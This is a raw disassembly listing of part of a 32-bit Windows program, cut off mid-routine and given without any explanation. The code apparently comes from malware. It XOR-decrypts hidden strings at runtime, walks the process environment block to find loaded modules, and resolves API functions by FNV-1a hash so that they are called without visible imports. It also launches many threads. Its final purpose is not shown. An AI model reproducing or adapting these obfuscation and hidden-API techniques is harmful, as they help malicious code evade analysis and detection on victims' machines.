mov dword [esp + 0x4c5], 0x8cc3d293
movups xmmword [esp + 0x4c9], xmm0
mov dword [esp + 0x4d9], 0
xor ecx, ecx
mov word [esp + 0x4dd], 0
mov byte [esp + 0x4df], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x4c5], al
inc ecx
cmp ecx, 4
jb 0x487e02
lea eax, [esp + 0x4c5]
mov dword [0x5655d8], ecx
push eax
lea ecx, [esp + 0xc4c]
mov byte [esp + 0x4cd], 0
call fcn.00402b70
lea ecx, [esp + 0xc48]
call fcn.00402c10
push dword [esp + 0x18]
lea ecx, [esp + 0x9ac]
mov esi, eax
call fcn.00402c20
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x487e58
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0x9b0]
call fcn.00402c40
lea eax, [esp + 0x9d8]
push eax
lea edx, [esp + 0x9ac]
lea ecx, [esp + 0x864]
call fcn.0040e7f0
add esp, 4
lea ecx, [esp + 0x9a8]
call fcn.00402ad0
lea ecx, [esp + 0xc48]
call fcn.00402ad0
lea ecx, [esp + 0x9d8]
call fcn.00402ad0
lea ecx, [esp + 0xc60]
call fcn.00402ad0
jmp 0x487c90
xorps xmm0, xmm0
mov dword [esp + 0x4e0], 0xd7dcd1c1
movups xmmword [esp + 0x4e4], xmm0
mov dword [esp + 0x4f4], 0
xor ecx, ecx
mov word [esp + 0x4f8], 0
mov byte [esp + 0x4fa], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x4e0], al
inc ecx
cmp ecx, 4
jb 0x487f00
lea eax, [esp + 0x4e0]
mov dword [0x5655d8], ecx
push eax
lea ecx, [esp + 0xc94]
mov byte [esp + 0x4e8], 0
call fcn.00402b70
lea ecx, [esp + 0xc90]
call fcn.00402c10
push eax
mov ecx, edi
call fcn.00490ca0
lea ecx, [esp + 0x9f0]
mov esi, eax
call fcn.00402be0
lea edx, [esp + 0x9f0]
mov ecx, esi
call fcn.004a0910
movaps xmm0, xmmword [0x551f70]
xor ecx, ecx
movups xmmword [esp + 0x789], xmm0
mov dword [esp + 0x799], 0xf19ea5d1
xorps xmm0, xmm0
mov dword [esp + 0x7ad], 0
movups xmmword [esp + 0x79d], xmm0
mov word [esp + 0x7b1], 0
mov byte [esp + 0x7b3], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x789], al
inc ecx
cmp ecx, 0x14
jb 0x487fb0
lea eax, [esp + 0x789]
mov dword [0x565540], ecx
push eax
lea ecx, [esp + 0xc7c]
mov byte [esp + 0x7a1], 0
call fcn.00402b70
lea ecx, [esp + 0xc78]
call fcn.00402c10
push 0
push eax
lea ecx, [esp + 0x9f8]
call fcn.0048c7a0
lea ecx, [esp + 0xc78]
mov esi, eax
call fcn.00402ad0
lea ecx, [esp + 0x9f0]
call fcn.00402ad0
lea ecx, [esp + 0xc90]
call fcn.00402ad0
test esi, esi
jne 0x488310
xorps xmm0, xmm0
mov dword [esp + 0x380], 0xc7ddd1d9
mov byte [esp + 0x384], 0xd6
xor ecx, ecx
movups xmmword [esp + 0x385], xmm0
mov dword [esp + 0x395], esi
mov word [esp + 0x399], si
mov byte [esp + 0x39b], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x380], al
inc ecx
cmp ecx, 5
jb 0x488063
lea eax, [esp + 0x380]
mov dword [0x565544], ecx
push eax
lea ecx, [esp + 0xcac]
mov byte [esp + 0x389], 0
call fcn.00402b70
lea ecx, [esp + 0xca8]
call fcn.00402c10
push eax
mov ecx, edi
call fcn.00490ca0
lea ecx, [esp + 0x10e0]
push ecx
mov ecx, eax
call fcn.00490de0
push eax
lea ecx, [esp + 0x87c]
call fcn.0048cb40
lea ecx, [esp + 0x10e0]
call fcn.00402ad0
lea ecx, [esp + 0xca8]
call fcn.00402ad0
nop
xorps xmm0, xmm0
mov dword [esp + 0x4fb], 0x8cc3d293
movups xmmword [esp + 0x4ff], xmm0
mov dword [esp + 0x50f], 0
xor ecx, ecx
mov word [esp + 0x513], 0
mov byte [esp + 0x515], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x4fb], al
inc ecx
cmp ecx, 4
jb 0x488115
lea eax, [esp + 0x4fb]
mov dword [0x5655d8], ecx
push eax
lea ecx, [esp + 0xcc4]
mov byte [esp + 0x503], 0
call fcn.00402b70
lea ecx, [esp + 0xcc0]
call fcn.00402c10
push 0
push eax
lea ecx, [esp + 0x880]
call fcn.0048c7a0
lea ecx, [esp + 0xcc0]
mov esi, eax
call fcn.00402ad0
cmp esi, 0xffffffff
je 0x488310
xorps xmm0, xmm0
mov word [esp + 0x55b], 0xbaa2
movups xmmword [esp + 0x55d], xmm0
mov dword [esp + 0x56d], 0
xor ecx, ecx
mov word [esp + 0x571], 0
mov byte [esp + 0x573], 0
nop
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x55b], al
inc ecx
cmp ecx, 2
jb 0x4881b0
lea eax, [esp + 0x55b]
mov dword [0x565598], ecx
push eax
lea ecx, [esp + 0xcf4]
mov byte [esp + 0x561], 0
call fcn.00402b70
lea ecx, [esp + 0xcf0]
call fcn.00402c10
push ebx
lea ecx, [esp + 0x8ec]
mov esi, eax
call fcn.00402c20
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x488203
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0x8f0]
call fcn.00402c40
xorps xmm0, xmm0
mov dword [esp + 0x516], 0x8cc3d293
movups xmmword [esp + 0x51a], xmm0
mov dword [esp + 0x52a], 0
xor ecx, ecx
mov word [esp + 0x52e], 0
mov byte [esp + 0x530], 0
nop
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x516], al
inc ecx
cmp ecx, 4
jb 0x488250
lea eax, [esp + 0x516]
mov dword [0x5655d8], ecx
push eax
lea ecx, [esp + 0xcdc]
mov byte [esp + 0x51e], 0
call fcn.00402b70
lea ecx, [esp + 0xcd8]
call fcn.00402c10
push dword [esp + 0x18]
lea ecx, [esp + 0xa0c]
mov esi, eax
call fcn.00402c20
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4882a6
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0xa10]
call fcn.00402c40
lea eax, [esp + 0x8e8]
push eax
lea edx, [esp + 0xa0c]
lea ecx, [esp + 0x87c]
call fcn.0040e7f0
add esp, 4
lea ecx, [esp + 0xa08]
call fcn.00402ad0
lea ecx, [esp + 0xcd8]
call fcn.00402ad0
lea ecx, [esp + 0x8e8]
call fcn.00402ad0
lea ecx, [esp + 0xcf0]
call fcn.00402ad0
jmp 0x4880e0
lea ecx, [esp + 0x720]
call fcn.00489f90
lea eax, [esp + 0x8a8]
push eax
lea ecx, [esp + 0x724]
call fcn.0048e1e0
test al, al
je 0x487620
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
sub esp, 0x18
lea eax, [esp + 0x890]
mov ecx, esp
push eax
call fcn.0048ccc0
sub esp, 0x18
lea eax, [esp + 0x890]
mov ecx, esp
push eax
call fcn.0048ccc0
sub esp, 0x18
lea eax, [esp + 0x890]
mov ecx, esp
push eax
call fcn.0048ccc0
call fcn.00409910
push 0x54ce30
call fcn.00403050
add esp, 0x4c
cmp byte [0x564e49], 0
jne 0x489651
call fcn.00465b40
call fcn.0046a190
push str.sergersrs
call esi
mov ecx, 0x564fd4
call fcn.00489de0
mov ecx, 0x5650f8
call fcn.00489de0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x46b440
push 0
push 0
call esi
push 0
push 0
push 0
push 0x46ce90
push 0
push 0
mov dword [esp + 0x44], eax
call esi
push 0
push 0
push 0
push 0x4749f0
push 0
push 0
mov dword [esp + 0x48], eax
call esi
mov dword [esp + 0x34], eax
call fcn.0044ebe0
test al, al
je 0x488570
lea ecx, [esp + 0x1000]
call fcn.0044f340
xorps xmm0, xmm0
mov dword [esp + 0x2f3], 0xdbd6dfc3
mov ebx, eax
mov word [esp + 0x2f7], 0xc7dd
movups xmmword [esp + 0x2f9], xmm0
mov dword [esp + 0x309], 0
xor ecx, ecx
mov word [esp + 0x30d], 0
mov byte [esp + 0x30f], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x2f3], al
inc ecx
cmp ecx, 6
jb 0x488460
lea eax, [esp + 0x2f3]
mov dword [0x565548], ecx
push eax
lea ecx, [esp + 0xd24]
mov byte [esp + 0x2fd], 0
call fcn.00402b70
lea ecx, [esp + 0xd20]
call fcn.00402c10
xorps xmm0, xmm0
mov dword [esp + 0x1aa], 0xdec4d1f9
mov edi, eax
mov dword [esp + 0x1ae], 0xf3fcebc7
movups xmmword [esp + 0x1b2], xmm0
mov dword [esp + 0x1c2], 0
xor ecx, ecx
mov word [esp + 0x1c6], 0
mov byte [esp + 0x1c8], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x1aa], al
inc ecx
cmp ecx, 8
jb 0x4884e1
lea eax, [esp + 0x1aa]
mov dword [0x565624], ecx
push eax
lea ecx, [esp + 0xd0c]
mov byte [esp + 0x1b6], 0
call fcn.00402b70
sub esp, 0x10
mov ecx, ebx
mov esi, esp
push edi
call fcn.00490ca0
push eax
mov ecx, esi
call fcn.0048a810
lea ecx, [esp + 0xd18]
call fcn.00402c10
push eax
mov ecx, 0x565090
call fcn.00490ca0
mov ecx, eax
call fcn.0048a7d0
lea ecx, [esp + 0xd08]
call fcn.00402ad0
lea ecx, [esp + 0xd20]
call fcn.00402ad0
lea ecx, [esp + 0x1000]
call fcn.0048a7b0
call fcn.0044f310
lea ecx, [esp + 0x1010]
call fcn.00450610
xorps xmm0, xmm0
mov dword [esp + 0x2d6], 0xdbd6dfc3
mov ebx, eax
mov word [esp + 0x2da], 0xc7dd
movups xmmword [esp + 0x2dc], xmm0
mov dword [esp + 0x2ec], 0
xor ecx, ecx
mov word [esp + 0x2f0], 0
mov byte [esp + 0x2f2], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x2d6], al
inc ecx
cmp ecx, 6
jb 0x4885c0
lea eax, [esp + 0x2d6]
mov dword [0x565548], ecx
push eax
lea ecx, [esp + 0xd54]
mov byte [esp + 0x2e0], 0
call fcn.00402b70
lea ecx, [esp + 0xd50]
call fcn.00402c10
movaps xmm0, xmmword [0x552410]
mov edi, eax
movups xmmword [esp + 0x7cd], xmm0
mov word [esp + 0x7dd], 0xb3d3
xor ecx, ecx
xorps xmm0, xmm0
mov dword [esp + 0x7ef], 0
movups xmmword [esp + 0x7df], xmm0
mov word [esp + 0x7f3], 0
mov byte [esp + 0x7f5], 0
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x7cd], al
inc ecx
cmp ecx, 0x12
jb 0x488644
lea eax, [esp + 0x7cd]
mov dword [0x5655dc], ecx
push eax
lea ecx, [esp + 0xd3c]
mov byte [esp + 0x7e3], 0
call fcn.00402b70
sub esp, 0x10
mov ecx, ebx
mov esi, esp
push edi
call fcn.00490ca0
push eax
mov ecx, esi
call fcn.0048a810
lea ecx, [esp + 0xd48]
call fcn.00402c10
push eax
mov ecx, 0x565090
call fcn.00490ca0
mov ecx, eax
call fcn.0048a7d0
lea ecx, [esp + 0xd38]
call fcn.00402ad0
lea ecx, [esp + 0xd50]
call fcn.00402ad0
lea ecx, [esp + 0x1010]
call fcn.0048a7b0
mov eax, dword fs:[0x30]
mov dword [esp + 0x28c], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x18], edx
lea ecx, [esi + edx]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x48874a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x48874a
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x488743
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x488726
cmp esi, 0x71948ca4
je 0x48874e
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x488711
mov eax, dword [eax]
jmp 0x4886e5
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov edi, dword [ecx + eax*4]
lea ecx, [esp + 0x28c]
add edi, edx
call fcn.0048e980
lea ecx, [esp + 0x2c]
mov esi, dword [eax]
call fcn.0048e980
push esi
push dword [eax]
call edi
push 0
push 0x4330d40e
call fcn.00408170
add esp, 8
push eax
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov dword [esp + 0x280], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x18], edx
lea ecx, [esi + edx]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x48881b
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x48881b
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x488814
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4887f7
cmp esi, 0x71948ca4
je 0x48881f
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4887e2
mov eax, dword [eax]
jmp 0x4887b6
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov edi, dword [ecx + eax*4]
lea ecx, [esp + 0x280]
add edi, edx
call fcn.0048e980
lea ecx, [esp + 0x34]
mov esi, dword [eax]
call fcn.0048e980
push esi
push dword [eax]
call edi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x18], edx
lea ecx, [edx + esi]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x4888c9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4888c9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4888c2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4888a5
cmp esi, 0xfaba0065
je 0x4888cd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x488890
mov eax, dword [eax]
jmp 0x488862
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [esp + 0x2c]
add esi, edx
call fcn.0048e980
push dword [eax]
call esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x18], edx
lea ecx, [edx + esi]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x488969
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x488969
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x488962
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x488945
cmp esi, 0xfaba0065
je 0x48896d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x488930
mov eax, dword [eax]
jmp 0x488901
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [esp + 0x30]
add esi, edx
call fcn.0048e980
push dword [eax]
call esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x18], edx
lea ecx, [esi + edx]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x488a09
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x488a09
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x488a02
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4889e5
cmp esi, 0xfaba0065
je 0x488a0d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4889d0
mov eax, dword [eax]
jmp 0x4889a1
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [esp + 0x34]
add esi, edx
call fcn.0048e980
push dword [eax]
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x475470
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x4787f0
push 0
push 0
mov dword [esp + 0x50], eax
call ebx
push 0
push 0
push 0
push 0x47c260
push 0
push 0
mov dword [esp + 0x64], eax
call ebx
push 0
push 0
push 0
push 0x47f460
push 0
push 0
mov dword [esp + 0x40], eax
call ebx
push 0
push 0
push 0
push 0x481d80
push 0
push 0
mov dword [esp + 0x54], eax
call ebx
push 0
push 0
push 0
push 0x482000
push 0
push 0
mov dword [esp + 0x58], eax
call ebx
push 0
push 0
push 0
push 0x484ab0
push 0
push 0
mov dword [esp + 0x5c], eax
call ebx
sub esp, 0x18
mov dword [esp + 0x60], eax
mov ecx, esp
push 0x562ae4
call fcn.0048ccc0
sub esp, 0x18
lea eax, [esp + 0x900]
mov ecx, esp
push eax
call fcn.0048ccc0
sub esp, 0x18
mov ecx, esp
lea eax, [esp + 0x900]
push eax
call fcn.0048ccc0
sub esp, 0x18
mov ecx, esp
push 0x562afc
call fcn.0048ccc0
call fcn.004101e0
mov eax, dword fs:[0x30]
add esp, 0x60
mov dword [esp + 0x294], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x18], edx
lea ecx, [edx + esi]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x488b99
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x488b99
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x488b92
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x488b75
cmp esi, 0x71948ca4
je 0x488b9d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x488b60
mov eax, dword [eax]
jmp 0x488b30
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov edi, dword [ecx + eax*4]
lea ecx, [esp + 0x294]
add edi, edx
call fcn.0048e980
lea ecx, [esp + 0x38]
mov esi, dword [eax]
call fcn.0048e980
push esi
push dword [eax]
call edi
mov eax, dword fs:[0x30]
mov dword [esp + 0x290], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x18], edx
lea ecx, [edx + esi]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x488c59
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x488c59
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x488c52
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x488c35
cmp esi, 0x71948ca4
je 0x488c5d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x488c20
mov eax, dword [eax]
jmp 0x488bf0
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov edi, dword [ecx + eax*4]
lea ecx, [esp + 0x290]
add edi, edx
call fcn.0048e980
lea ecx, [esp + 0x4c]
mov esi, dword [eax]
call fcn.0048e980
push esi
push dword [eax]
call edi
push 0x493e0
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov dword [esp + 0x288], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x18], edx
lea ecx, [esi + edx]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x488d29
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x488d29
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x488d22
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x488d05
cmp esi, 0x71948ca4
je 0x488d2d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x488cf0
mov eax, dword [eax]
jmp 0x488cc0
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov edi, dword [ecx + eax*4]
lea ecx, [esp + 0x288]
add edi, edx
call fcn.0048e980
lea ecx, [esp + 0x3c]
mov esi, dword [eax]
call fcn.0048e980
push esi
push dword [eax]
call edi
push 0x493e0
push dword [esp + 0x44]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov dword [esp + 0x284], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x18], edx
lea ecx, [edx + esi]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x488df9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x488df9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x488df2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x488dd5
cmp esi, 0x71948ca4
je 0x488dfd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x488dc0
mov eax, dword [eax]
jmp 0x488d90
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov edi, dword [ecx + eax*4]
lea ecx, [esp + 0x284]
add edi, edx
call fcn.0048e980
lea ecx, [esp + 0x44]
mov esi, dword [eax]
call fcn.0048e980
push esi
push dword [eax]
call edi
mov eax, dword fs:[0x30]
mov dword [esp + 0x50], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x18], edx
lea ecx, [edx + esi]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x488eb9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x488eb9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x488eb2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x488e95
cmp esi, 0x71948ca4
je 0x488ebd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x488e80
mov eax, dword [eax]
jmp 0x488e50
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov edi, dword [ecx + eax*4]
lea ecx, [esp + 0x50]
add edi, edx
call fcn.0048e980
lea ecx, [esp + 0x48]
mov esi, dword [eax]
call fcn.0048e980
push esi
push dword [eax]
call edi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x18], edx
lea ecx, [edx + esi]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x488f69
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x488f69
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x488f62
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x488f45
cmp esi, 0xfaba0065
je 0x488f6d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x488f30
mov eax, dword [eax]
jmp 0x488f00
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [esp + 0x38]
add esi, edx
call fcn.0048e980
push dword [eax]
call esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x18], edx
lea ecx, [esi + edx]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x489009
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x489009
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x489002
movsx ecx, cl
